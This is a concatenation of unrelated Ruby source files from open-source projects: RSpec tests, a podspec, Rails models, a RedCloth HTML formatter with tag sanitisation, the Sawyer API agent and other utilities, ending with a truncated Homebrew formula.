ffeaf1075f3fffd867cd736df565db6040adb765 | 1,135 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe JiraConnect::OauthApplicationIdsController do
describe 'GET /-/jira_connect/oauth_application_id' do
before do
stub_application_setting(jira_connect_application_key: '123456')
end
it 'renders the jira connect application id' do
get '/-/jira_connect/oauth_application_id'
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to eq({ "application_id" => "123456" })
end
context 'application ID is empty' do
before do
stub_application_setting(jira_connect_application_key: '')
end
it 'renders not found' do
get '/-/jira_connect/oauth_application_id'
expect(response).to have_gitlab_http_status(:not_found)
end
end
context 'when jira_connect_oauth_self_managed disabled' do
before do
stub_feature_flags(jira_connect_oauth_self_managed: false)
end
it 'renders not found' do
get '/-/jira_connect/oauth_application_id'
expect(response).to have_gitlab_http_status(:not_found)
end
end
end
end
| 26.395349 | 70 | 0.707489 |
18ea634abe67df6c4a222fb73d0e5db921d39295 | 1,896 | #
# Be sure to run `pod lib lint ChatBotTest.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'ChatBotTest'
s.version = '0.1.1'
s.summary = 'ChatBotTest framework a short description of for use in the iOS App.'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
TODO: Add long description of the pod here.Add long description of the pod here. Try to keep it short, snappy and to the point, iOSChatBot framework a short description of for use in the iOS App.
DESC
s.homepage = 'https://github.com/anilkushwaha92/ChatBotTest'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'anilkushwaha92' => '[email protected]' }
s.source = { :git => 'https://github.com/anilkushwaha92/ChatBotTest.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '11.0'
s.source_files = 'ChatBotTest/Classes/**/*'
s.resource_bundles = {
'ChatBotTest' => ['ChatBotTest/Classes/**/*.{xib}']
}
s.exclude_files = "Classes/Exclude"
s.swift_version = '5.0'
s.static_framework = true
s.dependency 'Firebase/Firestore'
s.dependency 'FirebaseFirestoreSwift'
s.dependency 'CountryList'
s.dependency 'AMKeyboardFrameTracker'
end
| 41.217391 | 195 | 0.681962 |
39a6c20b68ed8153174f54753492e57168bfdeb1 | 2,209 | module RunLoop
# @!visibility private
#
# This class is required for the XTC.
class Logging
def self.log_info(logger, message)
log_level :info, logger, message
end
def self.log_debug(logger, message)
log_level :debug, logger, message
end
def self.log_header(logger, message)
msg = "\n\e[#{35}m### #{message} ###\e[0m"
if logger.respond_to?(:debug)
logger.debug(msg)
else
debug_puts(msg)
end
end
def self.log_level(level, logger, message)
level = level.to_sym
msg = "#{Time.now} [RunLoop:#{level}]: #{message}"
if logger.respond_to?(level)
logger.send(level, msg)
else
debug_puts(msg)
end
end
def self.debug_puts(msg)
puts msg if RunLoop::Environment.debug?
end
end
# These are suitable for anything that does not need to be logged on the XTC.
# cyan
def self.log_unix_cmd(msg)
if RunLoop::Environment.debug?
puts Color.cyan("SHELL: #{msg}") if msg
end
end
# blue
def self.log_warn(msg)
puts Color.blue("WARN: #{msg}") if msg
end
# magenta
def self.log_debug(msg)
if RunLoop::Environment.debug?
puts Color.magenta("DEBUG: #{msg}") if msg
end
end
# .log_info is already taken by the XTC logger. (>_O)
# green
def self.log_info2(msg)
puts Color.green("INFO: #{msg}") if msg
end
# red
def self.log_error(msg)
puts Color.red("ERROR: #{msg}") if msg
end
module Color
# @!visibility private
def self.colorize(string, color)
if RunLoop::Environment.windows_env?
string
elsif RunLoop::Environment.xtc?
string
else
"\033[#{color}m#{string}\033[0m"
end
end
# @!visibility private
def self.red(string)
colorize(string, 31)
end
# @!visibility private
def self.blue(string)
colorize(string, 34)
end
# @!visibility private
def self.magenta(string)
colorize(string, 35)
end
# @!visibility private
def self.cyan(string)
colorize(string, 36)
end
# @!visibility private
def self.green(string)
colorize(string, 32)
end
end
end
| 19.723214 | 79 | 0.607515 |
03734ff51163b19407883e5ce73264fb35d377d4 | 449 | module BlockSpecs
class Yield
def splat(*args)
yield *args
end
def two_args
yield 1, 2
end
def two_arg_array
yield [1, 2]
end
def yield_splat_inside_block
[1, 2].send(:each_with_index) {|*args| yield(*args)}
end
end
end
# def block_spec_method(*args)
# yield(*args)
# end
#
# def block_spec_method2
# yield 1, 2
# end
#
# def block_spec_method3
# yield [1, 2]
# end
#
| 13.606061 | 58 | 0.5902 |
3826855d6769e32edbd7df0d11708718101fe9a5 | 545 | # frozen_string_literal: true
class Invite < ApplicationRecord
include PagesCore::HasRoles
belongs_to :user
has_many :roles, class_name: "InviteRole", dependent: :destroy
before_validation :ensure_token
validates :user_id, presence: true
validates :email,
presence: true,
format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i },
uniqueness: { case_sensitive: false }
validates :token, presence: true
private
def ensure_token
self.token ||= SecureRandom.hex(32)
end
end
| 20.961538 | 76 | 0.647706 |
796be017f85f519311b8c6c9db178f67983934ab | 238 | require 'spec_helper'
describe Fastlane::Plugin::Deploygate do
it 'has a version number' do
expect(Fastlane::Plugin::Deploygate::VERSION).not_to be nil
end
it 'does something useful' do
expect(false).to eq(true)
end
end
| 19.833333 | 63 | 0.722689 |
bf60522f7a195b45b4af1e2f2e7eb78ebe5c2de5 | 1,860 | # -*- encoding: utf-8 -*-
# stub: jekyll-theme-leap-day 0.1.1 ruby lib
Gem::Specification.new do |s|
s.name = "jekyll-theme-leap-day".freeze
s.version = "0.1.1"
s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version=
s.require_paths = ["lib".freeze]
s.authors = ["Matt Graham".freeze, "GitHub, Inc.".freeze]
s.date = "2018-04-11"
s.email = ["[email protected]".freeze]
s.homepage = "https://github.com/pages-themes/leap-day".freeze
s.licenses = ["CC0-1.0".freeze]
s.rubygems_version = "2.7.6.2".freeze
s.summary = "Leap Day is a Jekyll theme for GitHub Pages".freeze
s.installed_by_version = "2.7.6.2" if s.respond_to? :installed_by_version
if s.respond_to? :specification_version then
s.specification_version = 4
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_runtime_dependency(%q<jekyll>.freeze, ["~> 3.5"])
s.add_runtime_dependency(%q<jekyll-seo-tag>.freeze, ["~> 2.0"])
s.add_development_dependency(%q<html-proofer>.freeze, ["~> 3.0"])
s.add_development_dependency(%q<rubocop>.freeze, ["~> 0.50"])
s.add_development_dependency(%q<w3c_validators>.freeze, ["~> 1.3"])
else
s.add_dependency(%q<jekyll>.freeze, ["~> 3.5"])
s.add_dependency(%q<jekyll-seo-tag>.freeze, ["~> 2.0"])
s.add_dependency(%q<html-proofer>.freeze, ["~> 3.0"])
s.add_dependency(%q<rubocop>.freeze, ["~> 0.50"])
s.add_dependency(%q<w3c_validators>.freeze, ["~> 1.3"])
end
else
s.add_dependency(%q<jekyll>.freeze, ["~> 3.5"])
s.add_dependency(%q<jekyll-seo-tag>.freeze, ["~> 2.0"])
s.add_dependency(%q<html-proofer>.freeze, ["~> 3.0"])
s.add_dependency(%q<rubocop>.freeze, ["~> 0.50"])
s.add_dependency(%q<w3c_validators>.freeze, ["~> 1.3"])
end
end
| 42.272727 | 112 | 0.648925 |
6aed61116c7546403119b31230fb3b109717f94a | 108 | $LOAD_PATH.unshift File.expand_path("../../lib", __FILE__)
require "testoscope"
require "minitest/autorun"
| 21.6 | 58 | 0.75 |
1dbbfa17d4a7a9e1bac4ad70e2807cad1de7deef | 23 | module BonusHelper
end
| 7.666667 | 18 | 0.869565 |
f7e833c369ff7188151b85c9acb064f4696f4f6d | 942 | =begin
{ "__metadata"=> {
"uri"=>"http://odata.fdic.gov:80/v1/financial-institution/Branch('10345')",
"type"=>"financial-institutionModel.Branch"
},
"id"=>"10345",
"branchName"=>"First National Bank Alaska",
"certNumber"=>"16130",
"address"=>"101 W. 36th Avenue",
"city"=>"Anchorage",
"county"=>"Anchorage",
"state"=>"AK",
"zip"=>"99510.0",
"branchNum"=>nil,
"establishedDate"=>"1922-01-30 00:00:00.0",
"acquiredDate"=>nil,
"fiUninum"=>"10345",
"servTypeCd"=>"11"
}
=end
module FDIC
module BankFind
class Branch < Record
field :fdic_id, 'id'
field(:branch_name, 'branchName', &:strip)
field :certificate_number, :certNumber
field :address
field :city
field :county
field :state
field :zip
field :branch_number, :branchNum
date_field :established_date, :establishedDate
date_field :acquired_date, :acquiredDate
end
end
end
| 22.428571 | 79 | 0.626327 |
ac634fec01e378249d0ccd4d0c660795c2039da0 | 2,952 | module Ddr::Batch
class MonitorBatchFinished
class << self
def call(*args)
event = ActiveSupport::Notifications::Event.new(*args)
batch = Ddr::Batch::Batch.find(event.payload[:batch_id])
batch_finished(batch)
if batch.outcome == Ddr::Batch::Batch::OUTCOME_SUCCESS
ActiveSupport::Notifications.instrument('success.batch.batch.ddr', batch_id: batch.id)
end
end
private
def batch_finished(batch)
log_batch_finish(batch)
update_batch(batch)
send_email(batch) if batch.user && batch.user.email
end
def log_batch_finish(batch)
logger = Ddr::Batch::Log.logger(batch.id)
logger.info "====== Summary ======"
results_tracker = results(batch)
results_tracker.keys.each do |type|
results_tracker[type].keys.each do |model|
log_result(results_tracker, type, model, logger)
end
end
logger.close
end
def results(batch)
results_tracker = Hash.new
batch.batch_objects.each do |batch_object|
track_result(results_tracker, batch_object)
end
results_tracker
end
def track_result(results_tracker, batch_object)
type = batch_object.type
model = batch_object.model || "Missing Model"
results_tracker[type] = Hash.new unless results_tracker.has_key?(type)
results_tracker[type][model] = Hash.new unless results_tracker[type].has_key?(model)
results_tracker[type][model][:successes] = 0 unless results_tracker[type][model].has_key?(:successes)
results_tracker[type][model][:successes] += 1 if batch_object.verified
end
def log_result(results_tracker, type, model, logger)
verb = type_verb(type)
count = results_tracker[type][model][:successes]
logger.info "#{verb} #{ActionController::Base.helpers.pluralize(count, model)}"
end
def type_verb(type)
case type
when Ddr::Batch::IngestBatchObject.name
"Ingested"
when Ddr::Batch::UpdateBatchObject.name
"Updated"
end
end
def update_batch(batch)
outcome = batch.success_count.eql?(batch.batch_objects.size) ? Batch::OUTCOME_SUCCESS : Batch::OUTCOME_FAILURE
logfile = File.new(Ddr::Batch::Log.file_path(batch.id))
batch.update!(stop: DateTime.now,
status: Batch::STATUS_FINISHED,
outcome: outcome,
logfile: logfile)
end
def send_email(batch)
begin
Ddr::Batch::BatchProcessorRunMailer.send_notification(batch).deliver!
rescue => e
Rails.logger.error("An error occurred while attempting to send a notification for batch #{batch.id}")
Rails.logger.error(e.message)
Rails.logger.error(e.backtrace)
end
end
end
end
end
| 33.545455 | 118 | 0.626016 |
ab33ac748c9b3cb89d7e4c2c6cfddc1e9797bf76 | 642 | # frozen_string_literal: true
module QA
RSpec.describe 'Create' do
describe 'Merge request creation from fork' do
let(:merge_request) do
Resource::MergeRequestFromFork.fabricate_via_api! do |merge_request|
merge_request.fork_branch = 'feature-branch'
end
end
it 'can merge feature branch fork to mainline', status_issue: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/928' do
Flow::Login.sign_in
merge_request.visit!
Page::MergeRequest::Show.perform(&:merge!)
expect(page).to have_content('The changes were merged')
end
end
end
end
| 26.75 | 133 | 0.676012 |
7aefc8e97276df94a87d06026f03976b3699b235 | 771 | module Flutterwave
class BIN
include Flutterwave::Helpers
attr_accessor :client, :options
def initialize(client)
@client = client
end
# https://www.flutterwave.com/documentation/compliance/ - Verify Card BIN API
def check(options = {})
@options = options
request_params = {
card6: encrypt(:card6)
}
response = post(
Flutterwave::Utils::Constants::BIN[:check_url],
request_params
)
Flutterwave::Response.new(response)
end
def encrypt(key)
plain_text = options[key].to_s
raise Flutterwave::Utils::MissingKeyError.new(
"#{key.capitalize} key required!"
) if plain_text.empty?
encrypt_data(plain_text, client.api_key)
end
end
end
| 21.416667 | 81 | 0.632944 |
629ebba4d29eaa7472175dfd03e355862b7a3d42 | 967 | class Mash < ApplicationRecord
def self.default_sources
'the-new-york-times,bbc-news,the-economist,the-washington-post,the-wall-street-journal,fox-news,al-jazeera-english,politico,rt,reuters,associated-press,cnn,msnbc'
end
def self.filter_text(text)
# Filter out news source names and other extra text
text
.gsub(/\WAP\W/, '')
.gsub(/[A-Z]{2,}[,]\s[a-zA-Z]{1,}./, '')
.gsub(/WASHINGTON/, '')
.gsub('Read Full Article at RT.com', '')
.gsub(/\WReuters\W/, '')
.gsub('-', ' ')
.gsub('\'s', '')
end
def self.get_mash_string(data)
text = data.map do |story|
description = story.description
# Add punctuation for better analytics
if description && description[-1,1] != '.' && description[-1,1] != '?' && description[-1,1] != '…'
description + '.'
else
description ? description : ''
end
end.join(' ')
self.filter_text(text)
end
end
| 30.21875 | 166 | 0.584281 |
e24f7f6ab0eca7b87219007590b0bd97d2cf97b4 | 646 | Pod::Spec.new do |spec|
spec.name = "STFloatView"
spec.version = "1.0.0"
spec.summary = "A category file of UIViewController."
spec.description = <<-DESC
A easy way to add a floatView to your ViewController.
DESC
spec.homepage = "https://github.com/Shawnli1201"
spec.license = "MIT"
spec.author = { "Shawnli1201" => "[email protected]" }
spec.platform = :ios,"8.0"
spec.source = { :git => "https://github.com/Shawnli1201/STFloatView.git", :tag => "#{spec.version}" }
spec.source_files = "STFloatView/**/*.{h,m}"
spec.requires_arc = true
end
| 35.888889 | 109 | 0.592879 |
2155230e741d8d20a6e7a7b81c7dadd8d33ab00e | 2,802 | require 'spec_helper'
describe 'default installation' do
cached(:chef_run) do
runner = ChefSpec::SoloRunner.new(platform: 'debian', version: '9')
runner.converge 'nrpe::default'
end
# things that shouldn't be there
it 'expects nrpe config to not have allow_bash_command_substitution' do
expect(chef_run).not_to render_file('/etc/nagios/nrpe.cfg').with_content('allow_bash_command_substitution=0')
end
it 'expects nrpe config to not have log_facility' do
expect(chef_run).not_to render_file('/etc/nagios/nrpe.cfg').with_content('log_facility')
end
it 'expects nrpe config to not have command_prefix' do
expect(chef_run).not_to render_file('/etc/nagios/nrpe.cfg').with_content('command_prefix')
end
it 'expects nrpe config to not have server_address' do
expect(chef_run).not_to render_file('/etc/nagios/nrpe.cfg').with_content('server_address')
end
it 'expects nrpe config to not have connection_timeout' do
expect(chef_run).not_to render_file('/etc/nagios/nrpe.cfg').with_content('connection_timeout')
end
# things that should be there
it 'expects nrpe config to have nrpe_user' do
expect(chef_run).to render_file('/etc/nagios/nrpe.cfg').with_content('nrpe_user=nagios')
end
it 'expects nrpe config to have nrpe_group' do
expect(chef_run).to render_file('/etc/nagios/nrpe.cfg').with_content('nrpe_group=nagios')
end
it 'expects nrpe config to allow localhost polling' do
expect(chef_run).to render_file('/etc/nagios/nrpe.cfg').with_content('allowed_hosts=127.0.0.1,::1')
end
it 'expects nrpe config to have dont_blame_nrpe' do
expect(chef_run).to render_file('/etc/nagios/nrpe.cfg').with_content('dont_blame_nrpe=0')
end
it 'expects nrpe config to have command_timeout' do
expect(chef_run).to render_file('/etc/nagios/nrpe.cfg').with_content('command_timeout=60')
end
it 'expects nrpe config to have server_port' do
expect(chef_run).to render_file('/etc/nagios/nrpe.cfg').with_content('server_port=5666')
end
end
describe 'default installation with attributes' do
let(:chef_run) do
runner = ChefSpec::SoloRunner.new(platform: 'debian', version: '7.11')
runner.converge 'nrpe::default'
end
it 'expects nrpe config to have allow_bash_command_substitution when set' do
chef_run.node.normal['nrpe']['allow_bash_command_substitution'] = 0
chef_run.converge('nrpe::default')
expect(chef_run).to render_file('/etc/nagios/nrpe.cfg').with_content('allow_bash_command_substitution=0')
end
it 'expects nrpe config to have connection_timeout when set' do
chef_run.node.normal['nrpe']['connection_timeout'] = 20
chef_run.converge('nrpe::default')
expect(chef_run).to render_file('/etc/nagios/nrpe.cfg').with_content('connection_timeout=20')
end
end
| 35.923077 | 113 | 0.745539 |
1ad62cd27394ddab2424a7f0250d54c688a42255 | 7,650 | module RedCloth::Formatters::HTML
include RedCloth::Formatters::Base
[:h1, :h2, :h3, :h4, :h5, :h6, :p, :pre, :div].each do |m|
define_method(m) do |opts|
"<#{m}#{pba(opts)}>#{opts[:text]}</#{m}>\n"
end
end
[:strong, :code, :em, :i, :b, :ins, :sup, :sub, :span, :cite].each do |m|
define_method(m) do |opts|
opts[:block] = true
"<#{m}#{pba(opts)}>#{opts[:text]}</#{m}>"
end
end
def auto_link( opts )
#puts opts.inspect
link = opts[:href] || opts[:mailto]
href = if opts[:mailto]
"mailto:#{opts[:mailto]}"
else
h = opts[:href]
h = "http://#{h}" unless opts[:href] =~ /^http/i
if opts[:href] =~ /^https?:\/\/(?:www.)?teampages\.com(\/.*)$/
puts $1
$1
else
h
end
end
"<a rel=\"nofollow\" href=\"#{escape_attribute( href )}\">#{escape_attribute( link )}</a>"
end
def hr(opts)
"<hr#{pba(opts)} />\n"
end
def acronym(opts)
opts[:block] = true
"<acronym#{pba(opts)}>#{caps(:text => opts[:text])}</acronym>"
end
def caps(opts)
if no_span_caps
opts[:text]
else
opts[:class] = 'caps'
span(opts)
end
end
def del(opts)
opts[:block] = true
"<del#{pba(opts)}>#{opts[:text]}</del>"
end
[:ol, :ul].each do |m|
define_method("#{m}_open") do |opts|
opts[:block] = true
"#{"\n" if opts[:nest] > 1}#{"\t" * (opts[:nest] - 1)}<#{m}#{pba(opts)}>\n"
end
define_method("#{m}_close") do |opts|
"#{"\t" * (opts[:nest] - 1)}</#{m}>#{"\n" if opts[:nest] <= 1}"
end
end
def li_open(opts)
"#{"\t" * opts[:nest]}<li#{pba(opts)}>#{opts[:text]}"
end
def li_close(opts=nil)
"</li>\n"
end
def dl_open(opts)
opts[:block] = true
"<dl#{pba(opts)}>\n"
end
def dl_close(opts=nil)
"</dl>\n"
end
[:dt, :dd].each do |m|
define_method(m) do |opts|
"\t<#{m}#{pba(opts)}>#{opts[:text]}</#{m}>\n"
end
end
def td(opts)
tdtype = opts[:th] ? 'th' : 'td'
"\t\t<#{tdtype}#{pba(opts)}>#{opts[:text]}</#{tdtype}>\n"
end
def tr_open(opts)
"\t<tr#{pba(opts)}>\n"
end
def tr_close(opts)
"\t</tr>\n"
end
def table_open(opts)
"<table#{pba(opts)}>\n"
end
def table_close(opts)
"</table>\n"
end
def bc_open(opts)
opts[:block] = true
"<pre#{pba(opts)}>"
end
def bc_close(opts)
"</pre>\n"
end
def bq_open(opts)
opts[:block] = true
cite = opts[:cite] ? " cite=\"#{ escape_attribute opts[:cite] }\"" : ''
"<blockquote#{cite}#{pba(opts)}>\n"
end
def bq_close(opts)
"</blockquote>\n"
end
def link(opts)
if (filter_html || sanitize_html) && opts[:href] =~ /^\s*javascript:/i
opts[:name]
else
"<a href=\"#{escape_attribute opts[:href]}\"#{pba(opts)}>#{opts[:name]}</a>"
end
end
def image(opts)
if (filter_html || sanitize_html) && ( opts[:src] =~ /^\s*javascript:/i || opts[:href] =~ /^\s*javascript:/i )
opts[:title]
else
opts.delete(:align)
opts[:alt] = opts[:title]
img = "<img src=\"#{escape_attribute opts[:src]}\"#{pba(opts)} alt=\"#{escape_attribute opts[:alt].to_s}\" />"
img = "<a href=\"#{escape_attribute opts[:href]}\">#{img}</a>" if opts[:href]
img
end
end
def footno(opts)
opts[:id] ||= opts[:text]
%Q{<sup class="footnote" id=\"fnr#{opts[:id]}\"><a href=\"#fn#{opts[:id]}\">#{opts[:text]}</a></sup>}
end
def fn(opts)
no = opts[:id]
opts[:id] = "fn#{no}"
opts[:class] = ["footnote", opts[:class]].compact.join(" ")
"<p#{pba(opts)}><a href=\"#fnr#{no}\"><sup>#{no}</sup></a> #{opts[:text]}</p>\n"
end
def snip(opts)
"<pre#{pba(opts)}><code>#{opts[:text]}</code></pre>\n"
end
def quote1(opts)
"‘#{opts[:text]}’"
end
def quote2(opts)
"“#{opts[:text]}”"
end
def multi_paragraph_quote(opts)
"“#{opts[:text]}"
end
def ellipsis(opts)
"#{opts[:text]}…"
end
def emdash(opts)
"—"
end
def endash(opts)
" – "
end
def arrow(opts)
"→"
end
def dim(opts)
opts[:text].gsub!('x', '×')
opts[:text].gsub!("'", '′')
opts[:text].gsub!('"', '″')
opts[:text]
end
def trademark(opts)
"™"
end
def registered(opts)
"®"
end
def copyright(opts)
"©"
end
def entity(opts)
"&#{opts[:text]};"
end
def amp(opts)
"&"
end
def gt(opts)
">"
end
def lt(opts)
"<"
end
def br(opts)
if hard_breaks == false
"\n"
else
"<br#{pba(opts)} />\n"
end
end
def quot(opts)
"""
end
def squot(opts)
"’"
end
def apos(opts)
"'"
end
def html(opts)
"#{opts[:text]}\n"
end
def html_block(opts)
inline_html(:text => "#{opts[:indent_before_start]}#{opts[:start_tag]}#{opts[:indent_after_start]}") +
"#{opts[:text]}" +
inline_html(:text => "#{opts[:indent_before_end]}#{opts[:end_tag]}#{opts[:indent_after_end]}")
end
def notextile(opts)
if filter_html
html_esc(opts[:text], :html_escape_preformatted)
else
opts[:text]
end
end
def inline_html(opts)
if filter_html
html_esc(opts[:text], :html_escape_preformatted)
else
"#{opts[:text]}" # nil-safe
end
end
def ignored_line(opts)
opts[:text] + "\n"
end
private
# escapement for regular HTML (not in PRE tag)
def escape(text)
html_esc(text)
end
# escapement for HTML in a PRE tag
def escape_pre(text)
html_esc(text, :html_escape_preformatted)
end
# escaping for HTML attributes
def escape_attribute(text)
html_esc(text, :html_escape_attributes)
end
def after_transform(text)
text.chomp!
end
def before_transform(text)
clean_html(text) if sanitize_html
end
# HTML cleansing stuff
BASIC_TAGS = {
'a' => ['href', 'title'],
'img' => ['src', 'alt', 'title'],
'br' => [],
'i' => nil,
'u' => nil,
'b' => nil,
'pre' => nil,
'kbd' => nil,
'code' => ['lang'],
'cite' => nil,
'strong' => nil,
'em' => nil,
'ins' => nil,
'sup' => nil,
'sub' => nil,
'del' => nil,
'table' => nil,
'tr' => nil,
'td' => ['colspan', 'rowspan'],
'th' => nil,
'ol' => ['start'],
'ul' => nil,
'li' => nil,
'p' => nil,
'h1' => nil,
'h2' => nil,
'h3' => nil,
'h4' => nil,
'h5' => nil,
'h6' => nil,
'blockquote' => ['cite'],
'notextile' => nil
}
# Clean unauthorized tags.
def clean_html( text, allowed_tags = BASIC_TAGS )
text.gsub!( /<!\[CDATA\[/, '' )
text.gsub!( /<(\/*)([A-Za-z]\w*)([^>]*?)(\s?\/?)>/ ) do |m|
raw = $~
tag = raw[2].downcase
if allowed_tags.has_key? tag
pcs = [tag]
allowed_tags[tag].each do |prop|
['"', "'", ''].each do |q|
q2 = ( q != '' ? q : '\s' )
if raw[3] =~ /#{prop}\s*=\s*#{q}([^#{q2}]+)#{q}/i
attrv = $1
next if (prop == 'src' or prop == 'href') and not attrv =~ %r{^(http|https|ftp):}
pcs << "#{prop}=\"#{attrv.gsub('"', '\\"')}\""
break
end
end
end if allowed_tags[tag]
"<#{raw[1]}#{pcs.join " "}#{raw[4]}>"
else # Unauthorized tag
if block_given?
yield m
else
''
end
end
end
end
end
| 20.619946 | 118 | 0.491765 |
e9be7d2b4b8730c94d1486ad8565ead68d3efd29 | 1,634 | class Admin::PlansController < ApplicationController
def index # rubocop:disable Metrics/AbcSize
authorize :plan
respond_to do |format|
format.html do
@q = Plan.order(updated_at: :desc).ransack(params[:q])
@plans = @q.result(distinct: true).includes(:user, activities: :tags).page(params[:page])
end
format.csv do # debug only
send_data CsvExport::Plans.call(plans: Plan.order(updated_at: :desc)), filename: "plans_#{Date.current}.csv"
end
end
end
def generate_csv
authorize :user, :download?
FlashMessageBroadcastJob.perform_now(
current_user_id: current_user.id,
message: t('download.queued', records_type: 'plans', file_type: 'CSV'),
extra_data: { message_type: 'download' }
)
GeneratePlansCsvJob.perform_later(current_user_id: current_user.id)
head :no_content
end
def download
authorize :user
respond_to do |format|
format.csv do
redis_key = "plans_#{Date.current}_#{current_user.id}.csv"
csv_data = REDIS_CLIENT.get(redis_key)
if csv_data
csv_filename = "plans_#{Date.current}.csv"
send_data csv_data, filename: csv_filename, type: 'text/csv', disposition: 'attachment'
REDIS_CLIENT.del(redis_key)
else
FlashMessageBroadcastJob.perform_now(
current_user_id: current_user.id,
message: I18n.t('download.errors.not_found', records_type: 'plans', file_type: 'CSV'),
alert_type: 'danger',
extra_data: { message_type: 'download' }
)
end
end
end
end
end
| 29.709091 | 116 | 0.647491 |
6267f8493676893ce25fdf7abceb8015aa001a98 | 26 | module MyPhotosHelper
end
| 8.666667 | 21 | 0.884615 |
ff2d6fdd5013fe9d3ef5000185404083148610e5 | 279 | class CreateAttributionHoldings < ActiveRecord::Migration[5.1]
def change
create_table :attribution_holdings do |t|
t.integer :company_id
t.integer :day_id
t.float :performance
t.float :contribution
t.timestamps null: false
end
end
end
| 21.461538 | 62 | 0.691756 |
08e69ed1c98e8b87782e3ca88813c38d1730ca70 | 82 | # frozen_string_literal: true
object @question
extends 'api/v4/questions/_show'
| 13.666667 | 32 | 0.792683 |
389df7bd69bfed4998e21c47f472efe3a4b9a95d | 339 | cask 'ntfsmounter' do
version '0.4'
sha256 'bfb8cfe17518513f8784f1a0389af8716b1ce319cc516cfc188de6226bbbbb4e'
url "http://ntfsmounter.com/NTFS%20Mounter%20#{version}.dmg.zip"
name 'NTFS Mounter'
homepage 'http://ntfsmounter.com/'
license :gratis
container nested: "NTFS Mounter #{version}.dmg"
app 'ntfsMounter.app'
end
| 24.214286 | 75 | 0.752212 |
bf08b28ec0730140aebe5909a79e6f54fb523824 | 936 | require_relative '../resource_property'
module Convection
module Model
class Template
class ResourceProperty
# Represents an {http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-network-iface-embedded.html
# EC2 NetworkInterface Embedded Property Type}
class EC2NetworkInterface < ResourceProperty
property :associate_public_ip_address, 'AssociatePublicIpAddress'
property :delete_on_termination, 'DeleteOnTermination'
property :description, 'Description'
property :device_index, 'DeviceIndex'
property :group_set, 'GroupSet', :type => :list
alias_method :security_group, :group_set
property :private_ip_address, 'PrivateIpAddress'
property :secondary_private_ip_address_count, 'SecondaryPrivateIpAddressCount'
property :subnet, 'SubnetId'
end
end
end
end
end
| 39 | 133 | 0.709402 |
61acac9cbcbfbe869e039fd32ddf35ab134d98b8 | 4,592 | require 'faraday'
require 'addressable/template'
module Sawyer
class Agent
NO_BODY = Set.new([:get, :head])
attr_accessor :links_parser
attr_accessor :allow_undefined_methods
class << self
attr_writer :serializer
end
def self.serializer
@serializer ||= Serializer.any_json
end
def self.encode(data)
serializer.encode(data)
end
def self.decode(data)
serializer.decode(data)
end
# Agents handle making the requests, and passing responses to
# Sawyer::Response.
#
# endpoint - String URI of the API entry point.
# options - Hash of options.
# :allow_undefined_methods - Allow relations to call all the HTTP verbs,
# not just the ones defined.
# :faraday - Optional Faraday::Connection to use.
# :links_parser - Optional parser to parse link relations
# Defaults: Sawyer::LinkParsers::Hal.new
# :serializer - Optional serializer Class. Defaults to
# self.serializer_class.
#
# Yields the Faraday::Connection if a block is given.
def initialize(endpoint, options = nil)
@endpoint = endpoint
@conn = (options && options[:faraday]) || Faraday.new
@serializer = (options && options[:serializer]) || self.class.serializer
@links_parser = (options && options[:links_parser]) || Sawyer::LinkParsers::Hal.new
@allow_undefined_methods = (options && options[:allow_undefined_methods])
@conn.url_prefix = @endpoint
yield @conn if block_given?
end
# Public: Close the underlying connection.
def close
@conn.close if @conn.respond_to?(:close)
end
# Public: Retains a reference to the root relations of the API.
#
# Returns a Sawyer::Relation::Map.
def rels
@rels ||= root.data._rels
end
# Public: Retains a reference to the root response of the API.
#
# Returns a Sawyer::Response.
def root
@root ||= start
end
# Public: Hits the root of the API to get the initial actions.
#
# Returns a Sawyer::Response.
def start
call :get, @endpoint
end
# Makes a request through Faraday.
#
# method - The Symbol name of an HTTP method.
# url - The String URL to access. This can be relative to the Agent's
# endpoint.
# data - The Optional Hash or Resource body to be sent. :get or :head
# requests can have no body, so this can be the options Hash
# instead.
# options - Hash of option to configure the API request.
# :headers - Hash of API headers to set.
# :query - Hash of URL query params to set.
#
# Returns a Sawyer::Response.
def call(method, url, data = nil, options = nil)
if NO_BODY.include?(method)
options ||= data
data = nil
end
options ||= {}
url = expand_url(url, options[:uri])
started = nil
res = @conn.send method, url do |req|
if data
req.body = data.is_a?(String) ? data : encode_body(data)
end
if params = options[:query]
req.params.update params
end
if headers = options[:headers]
req.headers.update headers
end
started = Time.now
end
Response.new self, res, :sawyer_started => started, :sawyer_ended => Time.now
end
# Encodes an object to a string for the API request.
#
# data - The Hash or Resource that is being sent.
#
# Returns a String.
def encode_body(data)
@serializer.encode(data)
end
# Decodes a String response body to a resource.
#
# str - The String body from the response.
#
# Returns an Object resource (Hash by default).
def decode_body(str)
@serializer.decode(str)
end
def parse_links(data)
@links_parser.parse(data)
end
def expand_url(url, options = nil)
tpl = url.respond_to?(:expand) ? url : Addressable::Template.new(url.to_s)
tpl.expand(options || {}).to_s
end
def allow_undefined_methods?
!!@allow_undefined_methods
end
def inspect
%(<#{self.class} #{@endpoint}>)
end
# private
def to_yaml_properties
[:@endpoint]
end
def marshal_dump
[@endpoint]
end
def marshal_load(dumped)
@endpoint = *dumped.shift(1)
end
end
end
| 28 | 89 | 0.589721 |
b9f5023e0201cab31d2b6a22e7482dffff284047 | 1,683 | class Whatmask < Formula
desc "Network settings helper"
homepage "http://www.laffeycomputer.com/whatmask.html"
url "https://web.archive.org/web/20170107110521/downloads.laffeycomputer.com/current_builds/whatmask/whatmask-1.2.tar.gz"
